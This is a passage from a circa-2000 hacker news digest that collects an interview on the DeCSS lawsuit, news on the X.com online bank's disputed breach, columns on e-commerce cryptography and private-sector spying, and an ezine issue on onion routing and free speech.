LinuxWorld: What kind of arguments would you have expected, or what
kind of arguments do you think might have been better?
Jon Johansen: I would have expected for them to try to explain to the
court that this had nothing to do with copying, because encryption does not
prevent copying -- which the DVD CCA [Copy Control Association] and
MPAA are claiming. And everybody knows that even if something is
encrypted you can still copy it if the reading of the data goes through
decryption.
LinuxWorld: At the hearing I attended, the defense did argue that the DVD
encryption was flawed. At the same hearing, the plaintiffs had some really,
some pretty strong feelings about the way people have been acting when
they repost the code. Do you know about that?
Jon Johansen: I did actually read on Slashdot where the plaintiffs had
actually read from Slashdot debates.
LinuxWorld: Exactly. And they picked out only the ones which were saying
things like "fuck the law." And so they picked those out on purpose and they
said, "Look at these people. They don't want to play back movies. They are
saying 'fuck the law.'" So do you have anything to say to people about that?
Jon Johansen: Well, that's really sad that they can't behave, because they
should have known that the plaintiffs would have used something like that
against us. They should stop doing things like that and help inform the media
that this has nothing to do with copying but [rather has to do with] with
playback.
LinuxWorld: How best can people help to do that?
Jon Johansen: Well, first of all they could head over to OpenDVD.org,
and see what's written there, and then perhaps call or email their local media,
and inform them about the case.
LinuxWorld: Thanks, Jon, for talking to us. We wish you the best of luck.
@HWA
81.0 HNN: Feb 1st: X.com Denies Security Breach
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Weld Pond
Online bank X.com has denied recent media reports of a
security breach. The company does acknowledged that
six unauthorized transactions totaling less than $10,000
combined had taken place sometime between
mid-December and mid-January. According to the
company these suspicious transactions do not
constitute a security breach but are in fact a policy
issue. (Bad policy can lead to poor security.)
Newsbytes
http://www.cnnfn.com/news/technology/newsbytes/143017.html
No Security Breach
Occurred, Online Bank
Says
January 31, 2000: 2:23 p.m. ET
SAN FRANCISCO, CALIFORNIA, U.S.A. (NB) -- By Kevin Featherly,
Newsbytes. Officials at X.com are crying foul at the way an alleged "security
breach" was played in the media last week, after reports surfaced that
suspected thieves had accessed the online bank's Web site and transferred
money to X.com accounts from unrelated accounts in other banks.
Bill Harris, X.com's CEO and the former CEO of Intuit, told Newsbytes this
weekend that there was never a security breach or software bug in the X.com
online banking system. Also, he said, the system was changed to a more
tightly controlled one prior to reports surfacing in the media.
Harris acknowledged that six unauthorized transactions totaling less than
$10,000 combined had taken place sometime between mid-December, when
the company launched for business, and mid-January, when the system was
changed. He acknowledged that the six transactions were "suspicious," and
said they are being investigated.
"We had these six instances where people said (they) had unauthorized
transfers," Harris said. "As a result, based on our own internal analysis, we
instituted as of (Jan. 22) a policy where no transfers (were possible) without a
voided check."
Until Dec. 22, Harris said, it was possible for customers to make
transactions of up to $2,500 to or from other banks via the Web without having
to send in voided copies of checks by fax. For two weeks or so at the
beginning of the company's history, it had been possible to make a maximum
of $15,000 in transfers to or from other banks without sending in voided checks.
Now, all transactions must be preceded by a faxed copy of a voided check.
The system fell under scrutiny last week after the New York Times ran a
story detailing the unauthorized money transfers, and referring to the issue as a
security breach.
Meanwhile, Newsbytes quoted Elias Levy, chief technology officer at San
Francisco-based SecurityFocus.com, who said that his company confirmed
there was a problem by setting up an account with X.com, and attempting to
perform a transfer from one SecurityFocus staff member's bank account into an
X.com account created in another employee's name. Within a couple of days,
the money transfer went through, Levy said.
SecurityFocus.com then alerted X.com to the problem. But the bank had
already changed the system to a more restrictive one by then, Levy said.
X.com's Harris said that nobody from SecurityFocus talked to any
management staff at the online bank, but said it might be accurate, as Levy
indicated, that he had talked to bank technicians to alert them to what they had
done.
In any case, Harris said, there was never a security problem. "The issue is
one of policy and what policy do we use to allow people to do electronically,"
Harris said. "The policy that we had been using was one where, up to a certain
limit people were allowed to do electronic fund transfers to and from their own
bank account by entering in the numbers of those bank accounts. That's
actually a practice that is fairly common."
Harris compared the practice to the method many e-commerce sites use to
transact with credit card holders. Many times, he said, purchases are made in
which there is no physical evidence verifying a cardholder's validity. The
account numbers are inputted into Web forms, and the transaction takes place.
"Obviously, with either a credit card or bank account number, if you accept
that information from an individual without seeing the physical card or physical
check, there's a chance that the person might get it wrong - mis-enter it or
misspeak or misinterpret the wrong number," Harris said. "Or, they may
consciously provide the wrong number."
Harris has a point, says Rob Leathern, a Jupiter Communications analyst
familiar with online banking. Bank fraud is fairly common in the traditional world,
he said, and if there were only six unauthorized transactions from X.com, the
percentage of their clients victimized by fraud may actually be smaller than is
typically found in the brick-and-mortar banking industry.
However, reality is one thing, perceptions another. The issue at X.com was
sufficiently severe to prompt David Kennedy, director of research services at
computer security firm ICSA.net, to call on the company to go out of business.
Such draconian measures are hardly called for, says Leathern, who thinks
the matter has been blown out of proportion in the press. Still, being an online
bank with a high-profile CEO makes the company vulnerable to such
accusations, Leathern said. And because the public at large is not yet
comfortable with online banking, the bar for security must be set higher at
companies like X.com, he said.
"I do think that they do need to pay close attention to this kind of stuff,
because there is attention," Leathern said. "With a bank, someone is trusting
you with their money, so they need to be real careful about the way they
manage the consumer's expectations and their concerns. I think to a certain
extent, they have to pay more attention to stuff."
X.com is a division of La Jara, Colo.,-based First Western National Bank.
X.com is on the Web at http://www.x.com/ .
Reported by Newsbytes.com, http://www.newsbytes.com .
@HWA
82.0 HNN: Feb 1st: Microsoft Security, An Oxymoron?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Code Kid
In the last two months Microsoft has issued 16 security
advisories on its own products, other companies have
issued additional advisories as well. So what is the
problem? Is it, as Microsoft claims, the wide deployment
of Microsoft products or is it the ravages of an
unfriendly press?
Sm@rt Reseller - via Excite News
http://news.excite.com/news/zd/000128/12/whats-wrong-with
<article vanished!>
@HWA
83.0 HNN: Feb 1st; Cringely, Defcon, E-Commerce and Crypto
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Joey
Cringely, who normally has useful stuff to say, delivers a
muddled message on the state of ecommerce and
security. He says that no system is perfectly secure,
and that major intrusions are inevitable. Unfortunately,
he then draws an absolute relationship between key
length and security, never mentioning implementation as
being a factor in the value or safety of crypto products.
(He also confuses trashing with social engineering. It is
depressing to see a programmer/journalist who was at
the first Defcon deliver such a mediocre piece.)
PBS
http://www.pbs.org/cringely/pulpit/pulpit20000127.html
That's Where the Money Is
Hold Onto Your Wallet, Because
Computer Crime Is Growing Up
By Robert X. Cringely
Several years ago at the very first DefCon hacker's
conference in Las Vegas, Dan Farmer sat like a rock star
in the back of the meeting room in the old Sands Hotel.
Dressed entirely in black leather with shoulder length
flaming red hair, Dan sat trading kisses with two girls
while the other speakers droned on. In a culture where
nerds speak of women generally as a concept rather than an experience, to see
a techie with groupies was a phenomenon. It got even better when Dan finally
took his turn at the podium and I learned his position in those days was head of
network security for Sun Microsystems. And his message to this room half-filled
with young computer criminals and half-filled with Feds trying to not look like
Feds was that their efforts were pathetic and boring. Farmer urged them, if they
were going to insist on trying to break-in to his network, that they at least come
up with techniques that were more clever, more deserving of his attention.
This scene has returned to my memory many times since, but especially lately as
a new batch of computer criminals seems to be at work. You've seen the
stories. Moving-on from simple destruction and mayhem, the new game is
blackmail. Some smart kid steals a few thousand passwords or credit card
numbers, then uses that theft to extort money from ISPs and e-commerce sites.
Only it doesn't work. So far as we know, the ISPs and e-commerce people
aren't paying-up. Or are they? Whether they are or not, I am sure that Farmer
would find it boring. I know I do.
Since I have in the past known a few people operating on the shady side of
computer law, my take on this extortion racket is that they are trying to create
what they believe to be a victimless crime. Of course it isn't victimless at all. The
other attraction is the juvenile satisfaction of trumpeting the crime: "I did this to
you, now pay-up." Professional criminals would rather their crime go
undetected. These are not professionals.
What we are seeing, though, is a progression of criminal acts headed in an
escalating direction. There will come a time when ego will be put aside and
somebody is going to steal some major bucks. And if the FBI or any other
organization says it can't be done, well, they are wrong. It will happen.
The point of this column is to give the lay reader a sense of where we currently
stand in this war to protect our bytes from being bitten. This is another one of
those columns the nerds will see as simplistic and useless, except I pretty much
guarantee a close reading will tell most of them something they didn't know
before.
So, in a world where money isn't greenbacks anymore but electrons flowing
through a global network, where teenagers seem to crack Pentagon computers
with impunity, where most of us have no idea at all how any of this is
accomplished or how to protect ourselves, is our wealth really secure? What's
to keep some kid from stealing our IRAs and Keoghs, our CDs and mutual
funds, even our identities? Just how safe is our information and, by implication,
our money? Are the ways we do business going to have to change? The bad
news says that nothing is secure. With enough effort, every technology that we
have to protect the data we call money can be broken. The good news is that it
nearly always costs more to gain access to our holdings than those holdings are
worth. If it costs $100,000 to steal $10,000, nobody will even bother -- or
that's the theory.
What keeps you from losing your credit card number to some thief when you
buy a book or CD at Amazon.com? This is the key question that dogs the
proponents of consumer E-commerce. Forget that we hand the same credit card
without hesitation to a waiter who might be a career felon, or give the number
over the phone to a salesperson who might be working on a telephone bank in
some minimum-security prison. People distrust machines, and they are not at all
embarrassed to express that distrust. So what's to keep Amazon.com or
someone else from stealing our information?
Beyond simple morality and ethics, there are two things keeping Amazon.com
from robbing us blind: Amazon CEO Jeff Bezos wants to remain a billionaire,
and our credit-card information is scrambled, or encrypted, before it is sent over
the Net. Bezos knows he makes more money by selling books than he could by
stealing from his customers, so he doesn't steal. That keeps Amazon honest.
Scrambling the credit card information makes an honest person of everyone else
who might be in a position to snoop on your shopping session -- say, a
technician at your Internet service provider. To make sure your credit card
numbers remain private, use only Internet merchants that offer secure
transactions. Before you push that "send" key, make sure the URL line on your
web browser starts with "https," not just "http," or ends with "shtml." These
mean your outgoing data is being encrypted.
Before we get too far into data encryption, understand that the single most
popular technique for gaining access to online data is called by its proponents,
"social engineering." This is strictly non-technical. Social engineering is a crook
tricking us into giving him our Internet password or finding it by searching
wastebaskets or looking over shoulders. Why bother to bring in the heavy
computing firepower to crack a password if people will hand theirs over to
someone who claims to be a customer service representative from the Internet
service provider? This is why America Online makes such a point of reminding
its users that the company will never ask them for their passwords. Social
engineering is a greater threat than all the criminal supercomputers in the world.
Nearly all Internet commerce is protected, in whole or in part, by cryptographic
software derived from the late-1970s work of three mathematicians at MIT --
Ronald Rivest, Adi Shamir, and Leonard Adleman. The Rivest, Shamir,
Adleman algorithm, generally known as simply RSA, represents both a method
of scrambling a message between two parties in a way that allows the message
to be decoded only at its intended destination and a way of identifying the
parties to each other.
The patented RSA algorithm comes in several levels of security, defined by the
size of prime numbers that are used to generate both the encoding and decoding
keys. Nearly all RSA codes use at least 512-bit numbers. (If your browser
mentions 40-bit or 128-bit, this is just geekspeak for a complementary
technology that works with RSA, trust me.) That's plenty secure for most
purposes, though these days many web browsers and serious e-commerce sites
have stepped up to 1,024-bit RSA, and the super-paranoid can encode their
e-mail messages with 2,048- or even 4,096-bit encryption. More bits means it
takes longer to encrypt and decrypt data, but the data is much more secure.
Some forms of encryption are cracked through a brute-force method that simply
applies a mathematical test to the zillions of possible solutions until one is found
that can decode the target message. RSA requires more sophisticated
approaches. Five-hundred-twelve-bit RSA was cracked for the first time last
August by 292 computers running on and off for seven months -- a total of 35
years of computing time. What is significant about this is that earlier in this
decade, the best guess said it would take 50,000 years of computing time to
crack 512-bit RSA.
So it would take a massive effort to crack your credit card transaction, and
that's only if your transaction could be isolated from the millions of others
happening each day. On the face of it, e-commerce looks pretty secure. But
there is a dark side to all this, which is the ability to use the Internet itself as a
means to gang thousands, even millions, of computers together to attack such a
problem, possibly without the computer owners' being aware their machines are
being used. Take comfort that such firepower would more likely be applied to
cracking some giant interbank money transfer than to gaining access to your
Discover card.
To keep our money secure, the trend is toward harder and harder encryption
using more bits. In this way, it is still quite easy to remain comfortably ahead of
the criminal community. RSA 1,024-bit encryption is still wondrously secure, to
say nothing of 2,048 and 4,096. For the spies among us who don't even trust
RSA, there are whole new classes of codes based on elliptical mathematical
functions that look to be even harder to crack. But just as cracking 512-bit RSA
dropped from 50,000 years of computing time to 35 in less than a decade, the
real concern among users of cryptography is that a breakthrough -- a secret
breakthrough -- will allow devices to accomplish in seconds what used to take
years. Just such a device was described last fall in a now discredited story in
The Times of London. The handheld device was supposed to have been
invented at Israel's Weizmann Institute of Science and was claimed to crack
512-bit RSA in microseconds.
Such a device is probably decades away, but then cracking 512-bit RSA was
supposed to take 50,000 years and turned out not to. There is no way of
knowing when a breakthrough in quantum computing or another field will make
such a device possible. But I can tell you how to know when it has happened.
The inventors of such a device wouldn't be content with stealing credit card
numbers or siphoning pennies from checking accounts. These would be big
thinkers. They would have the ability to literally take control of the world
financial system with their device. So we'd awaken one day to a
back-to-the-future moment in which some gargantuan shift of resources would
have taken place in a manner that would be difficult or impossible to reverse.
These are, after all, only the electronic equivalent of ledger entries we are talking
about. And on that fateful morning we would wake to find that Russia was
suddenly the economic superpower and that the U.S. was begging for foreign
aid.
Now THAT would impress Dan Farmer.
@HWA
84.0 HNN: Feb 1st: Cold War Spies For Hire
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Apocalypse Dow
With the cold war all but over international spies need
new employment. many of them are earning a living
snooping around on the internet. With their services for
hire anyone can get the information they desire.
MSNBC
http://www.msnbc.com/news/364412.asp
Cybersnoops: Hackers for hire
Former spies and cops sell surveillance skills on the
open market
Hundreds of overseas agents who were dumped by the CIA in the budget
cuts of the mid-'90s are spying for profit on the Internet.
By David Ignatius
WASHINGTON POST
WASHINGTON, Jan. 31 — So you think your computer communications are safe
and secure? Hah! You poor, deluded, vulnerable fool. Experts in the
security business confide that most computer networks are wide open to
attack by dedicated hackers. Indeed, they describe some real-world
electronic assaults that would make your bytes turn into bits.
WANT TO BREAK into one of Switzerland’s most
famous private banks and look at its accounts? Not a problem.
Want to break into the computer of a key government agency of a big
European country and read messages tasking its security officers? Not
a problem.
Want to crack corporate networks and read the e-mail traffic? Not a
problem. In fact, that’s so easy it’s done routinely.
HACKERS FOR HIRE
We’re not talking here about electronic intercepts by
the National Security Agency or black-bag jobs by the
CIA, mind you. These operations are conducted by the
growing global network of private security consultants, using
sophisticated hacking tools that most of us don’t begin to
understand.
An example of the hackers’ tool kit is something called
a “packet sniffer.” Once the hacker gains access to the
electronic transmissions passing through a computer
network (which isn’t as hard as you might think) the packet
sniffer allows him to read the electronic bundles of
information — those little ones and zeros streaming over the
Net — and translate them into readable computer files. An
apprentice hacker can download the software needed for a
packet sniffer from one of many sites on the Net.
IN FROM THE COLD
'Companies are much more vulnerable to electronic attack
than they realize: corporate firewalls are laden with
hidden trapdoors that give access to hackers. '
What’s happening, in effect, is the privatization of some
of the most powerful tools traditionally used by intelligence
agencies — which allow them to overhear our
conversations and read our mail. The new privateers are
mostly former spies and law enforcement officers — from
Washington to Paris to Moscow to Canberra — who are
out now, and offering their skills on the open market.
They’re working with former colleagues and liaison contacts
around the world — and with the hacker underground — to
get the information they need.
“The Cold War is over,” explains one member of this
private security brotherhood. “People in police and security
services are just trying to make money.” One ripe source of
information is the hundreds of agents overseas who were
dumped by the CIA in the budget cuts of the mid-’90s.
Many of them are freelancing now.
HOW TO HIRE A SPY
If you want access to this network, you can start by
contacting one of the high-powered Washington or New
York law firms. They, in turn, will contact a private security
firm, which will contact a consultant, who will contact
another consultant, who will work with hackers, cops,
second-story artists — whoever is needed to get the job
done.
Typically, the person who initiates a request for
information at one end of the chain has no idea who actually
obtains it, or what methods were used. The sources are
shielded by what are known in the spy world as “cut-outs.”
If you saw the 1998 movie “Ronin,” you have an idea
of how the security brotherhood works. The Ronin are
modern-day equivalents of samurai warriors who have been
decommissioned after a war and are wandering the
landscape looking for work. The movie’s plot is fanciful, but
the portrait it draws of a fraternity of ex-spooks for hire is
quite accurate.
COUNTER-INTELLIGENCE
‘The Cold War is over. People in police and security services are just
trying to make money.’ IN PRIVATE SECURITY SPECIALIST
Companies that want to protect themselves against
these electronic attacks should consider investing in
counter-intelligence. An example of what’s available comes
from Michael L. Puldy, who heads IBM’s Emergency
Response Service. He runs a group of about 100 people
worldwide, who help IBM clients clean up the damage from
electronic break-ins and try to prevent them from happening
in the first place.
Puldy explains that companies are much more
vulnerable to electronic attack than they realize. They may
think they’re protected by so-called “fire walls” that screen
who gets into the network. But if the fire-wall software is
installed right out of the box, it usually contains default
passwords and other trapdoors that allow smart hackers to
get in.
Puldy’s group mainly does electronic “perimeter
checks,” looking for holes in a company’s network, along
with installing “intrusion detection monitors,” which sense
when a hacker is trying to break in.
ETHICAL HACKING
One ripe source of information is the hundreds of agents
overseas who were dumped by the CIA in the budget cuts of
the mid-’90s. Many of them arefreelancing now....
But IBM also offers a more aggressive “Ethical
Hacking Service,” which for a fee will actually break into
your system and show just how vulnerable it is. Puldy says
that IBM’s ethical hackers can penetrate more than 75
percent of the systems they attack. Once inside, they can
find password files, break into the corporate e-mail server
and read everyone’s mail — sometimes even get into the
CEO’s hard drive and read his most private files.
Packet sniffers are the enemy, in Puldy’s world. He
says that cable modems are especially vulnerable, because
given most existing cable technology, it’s easy to read the
other computers on a neighborhood cable loop. “If you’re
on the neighborhood ring, you can put a sniffer on the cable
and watch everything I do on my computer — stock trades,
passwords, e-mails, everything,” says Puldy. It’s harder to
crack “digital subscriber line” or DSL technology that’s
used to provide high-speed connections over phone lines —
but not impossible.
“Given enough time and effort, you can break into
anything you want to,” says Puldy.
Civil libertarians still seem to focus their angst on
privacy threats from government intelligence and
law-enforcement agencies, but they’re way behind the time.
Like everything else in the global economy, snooping has
been privatized.
David Ignatius is a novelist and associate editor of The
Washington Post, who writes about business and the
economy.
© 2000 The Washington Post Company
@HWA
85.0 HNN: Feb 1st: More Ezines Available
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by napalm and Xenos
Issue #3 of Napalm and Issue #4 of Digital Defiance
have been released.
Napalm
http://napalm.firest0rm.org/
Digital Defiance
http://www.hackers.cx
Napalm:
Here is ISSUE #1 in its entirety (short release) for a taste of
what to expect from this zine:
/\ /^/_ _ __ __ _|^|_ __ ___
/ \/ / _` '_ \/ _` | | '_ ` _ \
/ /\ / (_| |_) (_| | | | | | | |
/_/ \/ \__, .__/\__,_|_|_| |_| |_|
|_|
Issue 1 (Sep. 29, 1999)
___________________________________________________________________________
The gh0st.net project: http://www.gh0st.net/index.html
URL of the day: (Computer geek cartoons) http://www.userfriendly.org
All content copyright © 1999 by the individual authors, All Rights Reserved
___________________________________________________________________________
- Editor's Comments
- URLs
- News
- My Life As A Happy Hacker
- Onion Routing
- The gh0st.net Project
- Violence, Censorship, & Our Rights
- Future Issues
- Credits
***********************************************************************
*** Editor's Comments : Kynik
***********************************************************************
For now, I'm just going to borrow the layout I used while I was HH editor.
(Which I am no more.) I'll try to make it a little bit more freeform than
this first issue, but we'll have to see. I'd like to see this zine
diverge a little from the standard 'security info' theme and get into
music, news and whatever tickles everyone's fancy. Email me at
kynik@gh0st.net for damn near anything. Oh, and send me good links, too.
NOTE: Due to the gh0st.net webserver and mailserver's owner moving very
far away soon, the website may be inaccessible for quite some time. You
can contact us at napalmzine@hotmail.com until we get everything back up
again. Thanks to TF for actually hosting all the web pages and mail
server!
***********************************************************************
*** Random good URLs : Kynik
***********************************************************************
The Roskilde music festival in Copenhagen, Denmark
http://www.roskilde-festival.dk/
The OSKit - build your own OS
http://www.cs.utah.edu/flux/oskit/
gh0stOS
http://www.gh0st.net/gh0stOS/
Good source code for neural networks
http://www.geocities.com/CapeCanaveral/1624/
Irish pop-punk
http://www.iol.ie/~brooder
***********************************************************************
*** My Life As A Happy Hacker : Kynik
***********************************************************************
A long time ago (probably 3-4 years) on a computer lab workstation far,
far away (ok, it was the Midwest) I discovered the Happy Hacker in my
quest for knowledge of the computer sort. I found it after sifting
through search engine results of the keyword 'hacker'. I had been
inspired by such movies as "Wargames" and "Sneakers" and realized that
there was a lot more to this computer thing than Doom and Microsoft Word.
Having realized this, I dove headfirst into the web, trying to find a
place that suited my wants and actually had an air of intelligence.
Many of the sites I found were crude and obviously created by
middle-school-aged kids looking to mess with their friends on AOL. Two
things I found caught my attention immediately: Silicon Toad and The Happy
Hacker mailing list. I proceeded to download a whole pile of programs
from Silicon Toad's site, and played with them on my computer at home, but
beyond that, didn't do too much. I checked in on it every once in awhile,
until the site disappeared. I kept on getting the happy hacker
newsletter, and found out how to do some neat, trivial things such as
changing my Windows 95 splash screen for startup and shutdown.
Then I began to read about some of the things that people had done with
their computers, and against the list founder, Carolyn Meinel. I didn't
think too much about this at the time, but kept my interested fascination
with the whole 'hacker culture' as I progressed with my Computer Science
degree. I continued to receive the digest, and towards the end of 1998, I
got a Happy Hacker digest with a request for a new UNIX editor. Having
read most of the info out there about Carolyn Meinel and the general
consensus about her, I thought about it carefully before I sent in an
application. I realized the stigma that currently goes along with CPM and
the Happy Hacker name, but after consideration, I thought I'd try to keep
alive the idea that got me into the Happy Hacker in the first place:
Knowledge and Ethics. Granted, CPM is currently more interested in money
and promoting herself than educating and instilling ethics, from what I've
seen.
I emailed her, and asked if the position was still available. She asked
me to write a Guide to (Mostly) Harmless Hacking (GTMHH) on any topic I
chose. I chose to write a beginner's guide to C++, since there already
was one for C. Well, I sent her a small piece of what I had written, and
she advised me that Guide submissions are generally much longer. So I set
off to flesh it out and expand on the parts she said were somewhat
lacking. I got about 2/3 of the way through it, and grad school and work
took precedence. A few weeks later, totally to my surprise, I got an
email from Carolyn asking me if I wanted the position. I said yes, we
exchanged our PGP keys, I got the passwords to the unixeditor POP account,
and I started reading submissions and putting them together to form the
Happy Hacker UNIX digest. To see the digests, as they were submitted to
Carolyn, go to the following URL:
http://fire.gh0st.net/hh/index.html
The first few digests were pretty weak, as most of the questions I got
were rather bland, and I was still getting the feel of the position. I
got very few flames, and a lot of praise. I realized that I might
actually be making a difference to some people, trying to help them
understand the basics (and some details) of UNIX and computer security.
When I heard that Carolyn had moved the HH mailserver over to an
AntiOnline computer, I wasn't thrilled, but I really didn't care all that
much at the moment. Keydet89, the windows editor, apparently left because
of this, which was rather sad, because he always had good perl snippets in
his digests. (Send me an email keydet, if you wanna tell about your
experience, or write some articles :)
Then I thought about it. I looked back at AntiOnline's features section,
and I thought about JP's article on "Hacker Profiling". Pieces started to
fit together. I thought about the possibility that JP was making copies
of any mails that I received as a submission and adding them to his pile
of material to be filtered and info to be added to the 'hacker database'.
See, a lot of times I'll be sent an email claiming to have broken into a
site and wanting to know what to do from there. (Or, someone requests me
to break into a site for them -- which I'd consider doing, provided you're
paying me and the site is yours.) In the second-last HH digest, I
included a link to my PGP key, and an alternate email address that people
could write to. I'd say about half of the respondents used the other
email address... and 2 or 3 used the PGP key. I realized that I needed a
bit more creative freedom, without eyes peeking over my shoulders.
So, I teamed up with some people I had met online, and had been working
with for a little while, and offered to create a new zine, with an
emphasis on computers, security, and music. I wanted to give the people
that needed a certain amount of mentoring a chance to get some people to
talk to if they needed help. I found out that there was a similar group
of people working on a project similar to the Happy Hacker wargames, but
cooler, and I started hanging out with them as well. So, here ends my
Happy Hacker story. I know I've left out some minor details, but don't
worry, they weren't that important. Let's have a big round of applause
for the gh0st.net and FireStorm guys! Hopefully the projects will pick up
soon, and there will be more to see on both the fire.gh0st.net and
www.gh0st.net sites.
-Kynikeren
***********************************************************************
*** Onion Routing : Kynik
***********************************************************************
While it seems that the term "Onion Routing" may be copyrighted, I feel
that it is a good description of the technology. Onion Routing is an
Internet-based system to prevent eavesdropping and traffic analysis. The
name "Onion Routing" is appropriate, since it is based upon adding several
layers of encryption to a message (and removing them) as it is passed
along the network, as one might remove the layers of an onion. (I suppose
one could also call it 'artichoke routing' too ;) This is essential to a
network where privacy and anonymity is important.
"Well, so what about privacy, everything I'm sending to that site is
encrypted with SSL, anyways", you may say. That's all fine and dandy, but
chances are, anybody monitoring you knows at least that you've been there,
since the destination address is plainly readable in the IP header.
That's where the anonymity portion comes in. Someone between you and the
website you're visiting is _not_ able to tell (easily) where you're going,
or even where you're coming from. There are two notable systems in
use/development today (at least what I've initially found). They are:
Freedom - "Internet Identity Management System"
http://www.zeroknowledge.com/products/
The Onion Router Project (US Naval Research Lab)
http://www.onion-router.net/
There are some differences between the two, but I'm not going to analyze
them. Now, how does this all work, you ask? The scheme is built upon
public-key encryption (of varying strengths) and a 'private' network of
routers. Basically, your packet doesn't take the direct route across the
net like you'd expect it to. Instead, it is sent to a specialized
computer which runs the 'onion routing software'. That 'onion router'
(OR) hands the packet off to the next designated OR, which continues to
forward it on, until the last OR designated finally delivers it to the
true destination. I don't want to get into the mechanics for establishing
routes and vendor-specific details like Freedom's Anonymous Mail Proxy,
but instead I will explain the generic mechanism that allows you to send
anonymous, private traffic across the internet via onion routing.
A fairly good paper, by Goldschlag, Reed and Syverson, entitled, "Onion
Routing for Anonymous and Private Internet Connections," does a thorough
job of explaining this technology:
http://www.onion-router.net/Publications/CACM-1999.pdf
From the paper:
Onion Routing operates by dynamically building anonymous connections
within a network of real-time Chaum Mixes. A Mix is a store and forward
device that accepts a number of fixed-length messages from numerous
sources, performs cryptographic transformations on the messages, and
then forwards the messages to the next destination in a random order.
A single Mix makes tracking of a particular message either by specific
bit-pattern, size, or ordering with respect to other messages difficult.
By routing through numerous Mixes in the network, determining who is
talking to whom becomes even more difficult. Onion Routing's network of
core onion-routers (Mixes) is distributed, fault-tolerant, and under
the control of multiple administrative domains, so no single onion-
router can bring down the network or compromise a user's privacy, and
cooperation between compromised onion-routers is thereby confounded.
Freedom's system might be slightly different in implementation, but again,
I'm ignoring details, and loving every minute of it! When a specific
message needs to be sent through the onion-routed network, several layers
of encryption are placed on the message, along with sufficient information
to describe the path on a step-by-step basis. This way, each onion router
along the way uses its own public key to decrypt the whole 'onion', at
which point it recognizes the next onion router in the route, and forwards
the partially-decrypted message to it. When the enveloped message
eventually reaches the final onion router, it is decrypted to cleartext,
and the message is passed to the destination, not too differently from if
the source host had simply connected in the clear over the Internet,
except for the fact that it was made virtually untraceable for the
duration of its trip from end to end.
Feel free to send me questions and commentary on anything I may have
screwed up (or done well).
kynik@gh0st.net
***********************************************************************
*** The gh0st.net Project (Part 1 of 2): Phatal
***********************************************************************
Gh0stnet in its simplest and most basic form is a security model. As a
security model, gh0stnet's integrity is maintained by the fact that it
protects access, whether this be access to data or some other resource
makes no difference. Complication occurs when we examine gh0stnet's
purpose.
The theme is not necessarily to provide an ultra-secure network... it's
simply to provide security. Whether the provision of security is done
well or even in a rational manner is up to us as developers. Further
complicating this matter is the concept of providing a security challenge
or novelty to the public. Are we targeting a specific group of people to
benefit from gh0stnet? As far as I'm concerned, no. While we are all
obviously aware that gh0stnet's existence specifically caters to a certain
type of computer user, there's been no real intention to do so. By virtue
of not being funded by a corporation or the government and also by the
virtue of being conceptualized by someone who spends the better part of
his day immersed in computer security, the compsec underground will
inevitably be an integral part of gh0stnet. Hopefully this will be one of
its greatest assets.
Although the physical establishment of gh0stnet is still in the works, I
have a feeling that's going to be the easy part. I'm putting energy into
gh0stnet with the intention that it will long surpass my interest. As a
field of study and a science, computer security is an evolving subject.
If gh0stnet is to ever provide anything substantial to its public, it will
have to reflect this.
Development:
This is the area that gh0stnet should be the most active in. If there's
one thing I hate it's purposeless work. What I hate more than purposeless
work is being bored. From my perspective, I would prefer to do more than
set up a number of boxes to let people hammer into the ground. It would
be fun to look at the logs for a while, but ultimately it would become
boring.
I'm interested in using gh0stnet as a testbed for alternative,
ingenuitive, and challenging security concepts. This would provide tons
of fun for us, something interesting to give to the users besides boxen to
break into, and more than likely create some very interesting offspring.
Software or hardware, it's all a matter of what contributions we as
individual developers have to offer.
Participation:
This is an area that I tend to give a lot of thought to. As "developers"
we really do more than just develop. We maintain and administer gh0stnet.
This is not a job. Participation is totally interest-based. I'm not one
to force people into doing something that they don't want to. If it
appears that the role you're taking in this project is not quite what you
want or what you expect, it's important that you speak up. I sacrifice a
lot of my free time for this but I don't neccessarily expect others to.
The project does have a well-defined vision/goal that I may be relatively
inflexible about, but not unapproachable. What I will be very wary of is
the inclusion of other individuals outside of my sphere of influence.
This is a delicate project from my standpoint, so I'm a little touchy as
to who deals with it. To have one person on board who doesn't quite see
the goal or has some other motives besides the prosperity of gh0stnet
would have a negative impact on the project. Stating this here serves no
other purpose than for you folks to be aware that I want a shiny, happy,
rosey environment in which I deal with people who I know and trust. Not
that I don't like contributions, but network management and planning
should pretty much be kept between us developers.
The most important part of getting this off the ground will be the
communication that goes on between all of us. Hopefully most of the
communication will be occurring on the gh0st.net box, courtesy of TF.
Toxy has also been threatening to start a mailing list and that sounds
kick ass to me. Natas, kp2, and I live in the same state and hopefully
we'll all be getting drunk together soon ; ).
<Next issue = Basic network structure && games>
***********************************************************************
*** Violence, Censorship, & Our Rights : Blakboot
***********************************************************************
[Editor's note: I've taken the liberty to publish this article by Fire
Storm's founding member in his absence. This article was (and still is)
available at <http://fire.gh0st.net/vcr.html>. It has not been edited from
its original form, except for formatting to fit the page, and minor
spelling corrections.]
To most of the people whom will read this, I have no credibility - why
should you listen to me? Well, because if you read any farther, I'm sure
you will find that I'm not writing about anything extreme; these are our
rights.
Recently, in retaliation to school violence, people are working to
suppress information pertaining to explosives; keep it out of the hands of
youngsters. Although, this movement is not focusing on just that, rather
make an exception to our rights, and quiet what we don't want people to
hear. You see, this country is based on tolerance. Some may be
prejudiced, but we as a whole, in this country, don't just go off destroy
the minority. We tolerate it, because if one day our rights are
threatened, we can count on other people to fight with us. It's about
power of people, and not everyone can get what they want - so we must be
tolerant, even if we don't totally agree with it.
The movement is contradicting itself. People want to educate the masses
into an objective whole, yet want to shut out information, and take the
philosophy, "Ignorance is bliss". We should work towards happiness,
because anyone can learn to KILL; bombs, guns, knives, etc. are beside
the point. People kill because of many reasons, and "now they can" isn't
it.
The general public is quick to say that bombs, guns, and "outcasts" are
the reason for this school violence problem. Wrong. Students don't kill
just because they _can_, it's because, perhaps they're miserable? Perhaps
